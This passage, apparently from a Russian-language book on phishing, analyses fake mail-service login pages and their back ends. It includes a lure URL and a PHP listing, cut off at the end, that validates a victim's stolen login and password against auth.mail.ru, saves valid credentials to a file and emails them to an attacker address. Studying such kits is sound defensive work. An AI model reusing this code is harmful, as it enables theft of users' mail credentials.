Рис 1.33.
В данном примере злоумышленник определяет страницу (параметр $fake), на которой находится главная страница фишинг-движка. В тегах
При подготовке ссылки на страницу с использованием такого фишинг-движка злоумышленник так же, как и в первом рассмотренном примере, посредством ассоциативного массива параметров передает данные о логине пользователя и якобы присланном ему файле:
http://localhost/view2.php?id=schet.pdf&login=pochtauser&server=gmail-files
Фишинг-движок изнутри. Пример 3
Рассмотрим другой пример фэйка.
Интересен он тем, что в нем добавлена функция проверки правильности введенного пароля пользователем.
Происходит это посредством функции fsockopen, которая внедрена в файл index.php этого движка.
Интерфейс движка (см. рис. 134) также был бессовестно позаимствован у официального сервиса[22] с одной лишь только целью — ввести в заблуждение пользователя и не дать ему повода засомневаться, что вводимые им данные (пароль) могут отправиться куда-либо, кроме официального почтового сервера.
Рис. 1.34.
Функция проверки корректности вводимых жертвой данных была введена ленивыми хакерами, которые делают фонтаны рассылок — слепых фишинговых атак — и лишний раз не хотят расстраиваться, если пользователь во время того, как его пароль пытались спереть, «очепятался» при вводе своего логина или пароля.
Фрагмент листинга, осуществляющего проверку вводимых данных:
$valid_file = "stoun.php";
$invalid_file = "inv.php";
$email = "testadm986@mail.ru";
$location = "http://mail.ru";
$login = @$_POST['login'];
$pass = @$_POST['password'];
$domain = @$_POST['domain'];
if($login == "" || $pass == "" || $domain == "") header("Location: index.php?test&login=".$login.'&domain='.$domain);
$fp = fsockopen ("ssl://auth.mail.ru", 443, $errno, $errstr, 300); $poststr = "page=&post=&login_from=⟨=&Login=".urlencode($login)."&Do main=$domain&Password=".urlencode($pass)."&level=0";
$post = "POST /cgi-bin/auth HTTP/1.1\r\n";
$post.= "Host: auth.mail.ru\r\n";
$post.= "User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.2.8) Gecko/20100722 Firefox/3.6.8 (.NET CLR 3.5.30729)\r\n";
$post.= "Accept: text/html,application/xhtml+xml,application/ xml;q=0.9,*/*;q=0.8\r\n";
$post.= "Accept-Language: ru-ru,ru;q=0.8,en-us;q=0.5,en;q=0.3\r\n";
$post.= "Accept-Encoding: gzip,deflate\r\n";
$post.= "Accept-Charset: windows-1251,utf-8;q=0.7,*;q=0.7\r\n";
$post.= "Keep-Alive: 115\r\n";
$post.= "Connection: keep-alive\r\n";
$post.= "Content-Type: application/x-www-form-urlencoded\r\n";
$post.= "Content-Length: ".strlen($poststr)."\r\n\r\n";
$post.= "$poststr\r\n\r\n";
$out1 = ''; if (!$fp) {
echo "$errstr ($errno)
\n";
} else {
fputs ($fp, $post); for($i=0;$i<11;$i++)
{
$out1.= fgets ($fp,512);
}
}
fclose ($fp);
$status = pars($out1, "Set-Cookie: Mpop=", ";");
if ($status!= "") { if($valid_file!= "")
{
$file = fopen($valid_file, 'a'); fwrite($file, "$login@$domain:$pass\r\n"); fclose($file);
}
if($email!= "") mail($email, "Data from mail.ru", "$login@$domain:$pass");
header('Location: '.$location);